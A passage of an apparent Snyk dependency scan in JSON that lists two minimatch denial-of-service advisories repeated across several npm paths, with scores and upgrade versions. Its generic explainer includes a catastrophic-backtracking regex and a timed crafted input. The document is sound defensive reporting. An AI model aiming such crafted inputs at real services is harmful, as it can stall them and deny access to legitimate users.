"Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", 